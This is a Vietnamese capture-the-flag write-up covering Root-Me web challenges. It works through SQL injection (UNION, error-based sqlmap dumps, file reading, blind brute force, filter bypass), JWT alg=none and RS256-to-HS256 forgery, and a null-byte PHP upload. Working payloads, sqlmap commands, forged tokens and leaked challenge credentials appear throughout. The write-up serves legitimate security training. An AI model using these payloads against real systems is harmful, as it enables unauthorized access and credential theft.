## SQL injection - String ![image.png](https://hackmd.io/_uploads/ryVpbN8Q6.png) ![image.png](https://hackmd.io/_uploads/Sy90-4UmT.png) - Mình đã thử tìm kiếm 1 thứ gì đó bằng cách nhập thử `1'` thì nó đã xuất hiện lỗi ![image.png](https://hackmd.io/_uploads/SJXzGV8Qp.png) Thông qua dòng lỗi thì mình biết được đây là database SQLite3 và thông qua kí tự % thì mình đoán câu lệnh truy vấn sẽ liên quan đến like. Bây giờ mình sẽ đi tiến hành tìm số cột bằng cách sử dụng câu lệnh union ![image.png](https://hackmd.io/_uploads/H1dJm4LXT.png) - Như vậy mình đã tìm được số cột là 2, bây giờ mình thử đi lấy username và password qua câu truy vấn `union select username,password from users --` ![image.png](https://hackmd.io/_uploads/rJU87E8Xp.png) ## SQL injection - Error ![image.png](https://hackmd.io/_uploads/rkM7VIvQa.png) - Bài này lỗi sqli nằm tại page Contents. Thực hiện vào trang và gõ thêm ký tự ' ở cuối url sẽ xuất hiện lỗi ![image.png](https://hackmd.io/_uploads/SydPVIv7a.png) - Như vậy chúng ta có thể khai thác lỗ hổng qua url. Ở đây mình sẽ dùng sqlmap để thu thập thêm thông tin từ url bằng câu lệnh `sqlmap -u "http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC" --dbs`.Trong đó --dbs là để lấy dữ liệu database. ![image.png](https://hackmd.io/_uploads/rkXjwLPQ6.png) - Có 3 database trả về, tuy nhiên ta chỉ cần chú ý đến database public là được. Thực hiện lấy các tables trên database này bằng câu lệnh `sqlmap -u "http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC" -D public --tables` Trong đó `--tables` sử dụng để lấy tên các bảng. `-D public` là để lấy kết quả trong database public. ![image.png](https://hackmd.io/_uploads/Sy5qOUwQp.png) - Ta có 1 bảng là `m3mbr35t4bl3`. Thực hiện lấy data trong bảng `sqlmap -u "http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC" -D public -T m3mbr35t4bl3 --dump`. Trong đó `-T` là bảng cần lấy data. `--dump` để lấy toàn bộ dữ liệu bảng này: ![image.png](https://hackmd.io/_uploads/HkpyK8PQT.png) ## SQL injection - File reading ![image.png](https://hackmd.io/_uploads/ryx3g_Dma.png) ![image.png](https://hackmd.io/_uploads/HyT6gOv7T.png) - Mình nhận thấy trên url có param ID mình thử chèn thêm ký tự `'` thì nhận được thông báo lỗi ![image.png](https://hackmd.io/_uploads/HyiuZuP7a.png) - Vậy là chúng ta có thể khai thác qua para ID của url. Bây giờ mình sẽ nhét nó vào sqlmap để xem database ![image.png](https://hackmd.io/_uploads/BJvDtOvmT.png) - Ở đây thì mình để ý đến database c_webserveur_31. Vì vậy mình sẽ đi lấy tên các bảng của database này `sqlmap -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" -D c_webserveur_31 --tables` ![image.png](https://hackmd.io/_uploads/H1zCFdvXT.png) - Vậy là ta cũng có table. Như vậy bây giờ mình chỉ cần đi xem thông tin của bảng này xem có tài khoản admin không ![image.png](https://hackmd.io/_uploads/SJ8rcdPQp.png) - Như vậy mình đã tìm được password nhưng có vẻ nó bị mã hóa bằng base64 nhưng khi mình decode thì nó không cho ra thông tin gì. Sau khi đọc lại đề bài thì nó là read-file vì vậy mình đã đi lấy source code index về để đọc: `sqlmap -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" --file-read=/challenge/web-serveur/ch31/index.php` ![image.png](https://hackmd.io/_uploads/ryIt0dwXa.png) - Bây giờ tiến hành đọc code thôi: ``` <html> <header><title>SQL injection - FILE</title></header> <body> <h3><a href="?action=login">Authentication</a>&nbsp;|&nbsp;<a href="?action=members">Members</a></h3><hr /> <?php define('SQL_HOST', '/var/run/mysqld/mysqld3-web-serveur-ch31.sock'); define('SQL_DB', 'c_webserveur_31'); define('SQL_LOGIN', 'c_webserveur_31'); define('SQL_P', 'dOJLsrbyas3ZdrNqnhx'); function stringxor($o1, $o2) { $res = ''; for($i=0;$i<strlen($o1);$i++) $res .= chr(ord($o1[$i]) ^ ord($o2[$i])); return $res; } $key = "c92fcd618967933ac463feb85ba00d5a7ae52842"; $GLOBALS["___mysqli_ston"] = mysqli_connect('', SQL_LOGIN, SQL_P, "", 0, SQL_HOST) or exit('mysql connection error !'); mysqli_select_db($GLOBALS["___mysqli_ston"], SQL_DB) or die("Database selection error !"); if ( ! isset($_GET['action']) ) $_GET['action']="login"; if($_GET['action'] == "login"){ print '<form METHOD="POST"> <p><label style="display:inline-block;width:100px;">Login : </label><input type="text" name="username" /></p> <p><label style="display:inline-block;width:100px;">Password : </label><input type="password" name="password" /></p> <p><input value=submit type=submit /></p> </form>'; if(isset($_POST['username'], $_POST['password']) && !empty($_POST['username']) && !empty($_POST['password'])) { $user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], strtolower($_POST['username'])); $pass = sha1($_POST['password']); $result = mysqli_query($GLOBALS["___mysqli_ston"], "SELECT member_password FROM member WHERE member_login='".$user."'"); if(mysqli_num_rows($result) == 1) { $data = mysqli_fetch_array($result); if($pass == stringxor($key, base64_decode($data['member_password']))){ // authentication success print "<p>Authentication success !!</p>"; if ($user == "admin") print "<p>Yeah !!! You're admin ! Use this password to complete this challenge.</p>"; else print "<p>But... you're not admin !</p>"; } else{ // authentication failed print "<p>Authentication failed !</p>"; } } else{ print "<p>User not found !</p>"; } } } if($_GET['action'] == "members"){ if(isset($_GET['id']) && !empty($_GET['id'])) { // secure ID variable $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $_GET['id']); $result = mysqli_query($GLOBALS["___mysqli_ston"], "SELECT * FROM member WHERE member_id=$id") or die(mysqli_error($GLOBALS["___mysqli_ston"])); if(mysqli_num_rows($result) == 1) { $data = mysqli_fetch_array($result); print "ID : ".$data["member_id"]."<br />"; print "Username : ".$data["member_login"]."<br />"; print "Email : ".$data["member_email"]."<br />"; } else{ print "no result found"; } } else{ $result = mysqli_query($GLOBALS["___mysqli_ston"], "SELECT * FROM member"); while ($row = mysqli_fetch_assoc($result)) { print "<p><a href=\"?action=members&id=".$row['member_id']."\">".$row['member_login']."</a></p>"; } } } ?> </body> </html> ``` - Nhìn qua code thì mình thấy password có vẻ như được mã hóa bằng sha1, xor,base64. Bây giờ chúng ta chỉ cần đi giải mã nữa là xong: ``` import base64 def string_xor(key, pwd): res = '' for i in range(len(key)): res = res+(chr(ord(key[i])^pwd[i])) return res key = 'c92fcd618967933ac463feb85ba00d5a7ae52842' pwd = 'VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA==' print(string_xor(key, base64.b64decode(pwd))) ``` ![image.png](https://hackmd.io/_uploads/Sy-AXYP7p.png) Vậy là mình đã tìm được password là:**superpassword** ## SQL injection - Blind ![image.png](https://hackmd.io/_uploads/ryaR7ZO7T.png) ![image.png](https://hackmd.io/_uploads/SkDeVbuXT.png) - Bài này là SQL injection - Blind nên mình nghĩ là nó chỉ làm việc với 2 input của login và password thôi, vì vậy mình đã thử chèn kí tự `'` thì nhận được thông báo lỗi ![image.png](https://hackmd.io/_uploads/SyubrZuQT.png) - Bây giờ thì tiến hành đi khai thác nó thôi. Mình thử chèn thêm điều kiện luôn đúng để bỏ qua đăng nhập thì nó có vào được 1 user có tên là user1, không phải là của admin nên mình sẽ vẫn phải tiếp tục. Vậy là nó có cho ghép thêm câu truy vấn logic, thế nên mình sẽ đi brute force độ dài mật khẩu bằng câu truy vấn `(select 'a' from users where length(password)=$x and username='admin') = 'a'` trong đó $x là độ dài cần tìm và được độ dài là 8: ![image.png](https://hackmd.io/_uploads/r1e7UZ_ma.png) - Ok, bây giờ đi tìm mật khẩu nữa là xong: `or((select+'a'+from+users+where+username='admin'and+substr(password,$x,1)='$y')='a')--` với $x là từng vị trí của password $y là từng kí tự ứng với vị trí $x ![image.png](https://hackmd.io/_uploads/B1XjXfuX6.png) - `password:e2azO93i` ## SQL injection - Filter bypass ![image.png](https://hackmd.io/_uploads/Sk9oeo_mT.png) ![image.png](https://hackmd.io/_uploads/SyCRgs_7a.png) - Đầu tiên mình thử chèn thêm 1 kí tự vào `'` vào url nhưng nhận được thông báo `attack detected` ![image.png](https://hackmd.io/_uploads/rkPM-sO76.png) - Vì bài này là Filter bypass nên không ngạc nhiên khi một vài kí tự sẽ bị lọc - Xem qua source code thì mình có được cấu trúc của bảng members như sau: ![image.png](https://hackmd.io/_uploads/Hku3boOQp.png) - Dễ thấy thì nó gồm 4 cột, nên mình nghĩ sẽ dùng Union để nối bảng để lấy thông tin thì nó cũng bị `attack detected` ![image.png](https://hackmd.io/_uploads/SJpXMjdma.png) - Sau khi thử một vài lần nữa thì mình nhận ra rằng, trang web đã chặn các kí tự `khoảng cách,dấu phẩy, chữ cái viết đầu viết thường`. Vậy nên mình đã thay dấu cách bằng dấu tab và theo như mình thấy thì số cột members là 4, nhưng dấu , đã bị lọc nhưng dấu * thì không nên mình sẽ đi nối các bảng lại bằng câu lệnh join để tạo ra 1 bảng có số cột là 4 bằng câu lệnh `%09UNION%09SELECT%09*FROM%09(SELECT%091)A1%09JOIN%09(SELECT%092)A2%09JOIN%09(SELECT%093)A3%09JOIN%09(SELECT%094)A4%09--` ![image.png](https://hackmd.io/_uploads/HJkKEsd7a.png) - Ok, giờ thì đi lấy username và password thôi: ![image.png](https://hackmd.io/_uploads/H1-Gro_Qp.png) ![image.png](https://hackmd.io/_uploads/Syymrid7T.png) - `password:KLfgyTIJbdhursqli` ## JWT - Introduction ![image](https://hackmd.io/_uploads/Hk-XGdR7T.png) ![image](https://hackmd.io/_uploads/HJ3QGuC76.png) - Khi vào bài ta sẽ thấy khung đăng nhập. Dĩ nhiên là ta chưa biết username cũng như password. Tuy nhiên ta lại được phép đăng nhập như là guest. Sau khi ấn vào đăng nhập với tư cách là guest, check respone của từng request: ![image](https://hackmd.io/_uploads/SyrifOCQa.png) - Dễ dàng để ý ở đây là khi mình check respone của request get thì nó có tiêu đề `Set-Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk` - Này có vẻ là bị mã hóa bằng base 64, check nó thử: ![image](https://hackmd.io/_uploads/SJn_QO0Qa.png) - Đổi username thành admin encode rồi cho rồi request thử: ![image](https://hackmd.io/_uploads/S1T54O0ma.png) - Thì nhận được thông báo là sai chữ kí. Mình đoán chắc là cái alg nên mình đã cho alg là none rồi encode lại: - ![image](https://hackmd.io/_uploads/rJW4rdC76.png) - pass:`S1gn4tuR3_v3r1f1c4t10N_1S_1MP0Rt4n7` ## File upload - Null byte ![image](https://hackmd.io/_uploads/BkPKSnlE6.png) ![image](https://hackmd.io/_uploads/B1tYH2lET.png) - upload thử 1 file ảnh và bắt lấy request của nó: ![image](https://hackmd.io/_uploads/Bk16B2gNp.png) - Mình thử thay đổi phần mở rộng của file thành php và thay đổi nội dung bên trong thành 1 đoạn code php nhưng nhận được thông báo là wrong extension: ![image](https://hackmd.io/_uploads/HypfI2lET.png) - Mình đoán là đó xác định loại file thông qua header content-type nên mình đã thửu bypass nó bằng cách thêm null byte `%00` vào khi đó tên file sẽ thành `7.php%00.png` và bypass thành công ![image](https://hackmd.io/_uploads/SkMsUnlN6.png) ![image](https://hackmd.io/_uploads/rJOxv3lVa.png) ## JWT - Public key ![image](https://hackmd.io/_uploads/r18ohNbEp.png) - Như phần **Statement** thì có 3 endpoints: - `/key` lấy `public key` (dùng method GET) - `/auth` tạo token (dùng method POST) - `/admin` verify để lấy flag (dùng method POST) - Thêm /key vào url thì mình có được public file: ![image](https://hackmd.io/_uploads/Bk-Q6NWE6.png) - Đổi method thành post và thay `/key` thành `/auth`: ![image](https://hackmd.io/_uploads/ry9ITVZ4T.png) - Nó bắt mình cung cấp username nên mình đã up username cùng với request post và dĩ nhiên username admin sẽ không được: ![image](https://hackmd.io/_uploads/Sy16T4ZVT.png) - Thử với username là guest thì nó respone cho mình 1 đoạn mã token: ![image](https://hackmd.io/_uploads/BJLJCNbN6.png) - Lên [jwt.io](https://jwt.io/) thử xem nó là gì ![image](https://hackmd.io/_uploads/rJJSCVZNT.png) - Theo như mình tìm hiểu, JWT sử dụng thuật toán **RS256**. Đây là thuật toán **asymmetric** (bất đối xứng), trong đó **private key** được sử dụng để sign JWT và **public key** được sử dụng để verify signature của JWT. - Vậy hướng khai thác ở đây là gì? Sau một lúc tìm hiểu về phần này thì đó là thay đổi thuật toán. **HS256** chỉ có 1 **secret key** để sign cũng như verify trong khi **RS256** như mình đã nói sử dụng 2 key như trên. Vậy nếu chuyển từ **RS256** sang **HS256** thì sao? Thì **HS256** sẽ dùng **public key** để verify (thứ mà bài đã cho). Việc bây giờ là từ **public key** đó tạo **signature** cho JWT.Mình sẽ dùng [jwt_tool.py](https://github.com/ticarpi/jwt_tool) để tạo bằng:`python3 jwt_tool.py <token> -S hs256 -k public.pem`. public.pem là nội dung public key mình tìm được khi nãy. `token` là đoạn mã token mình tìm được nhưng đã sửa thành admin: ![image](https://hackmd.io/_uploads/S18TJSb4p.png) ![image](https://hackmd.io/_uploads/BJa463WN6.png) - Vậy là đã có token của admin, bây giờ đổi `/auth` thành `admin` ![image](https://hackmd.io/_uploads/SJ6La2b4a.png) - copy Authorization và yourtoken thành eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.a27wuOWmrVB-BX6CZCO4J7OiHOdoywRFzOpDBqXLAzQ ![image](https://hackmd.io/_uploads/rJouahWVa.png)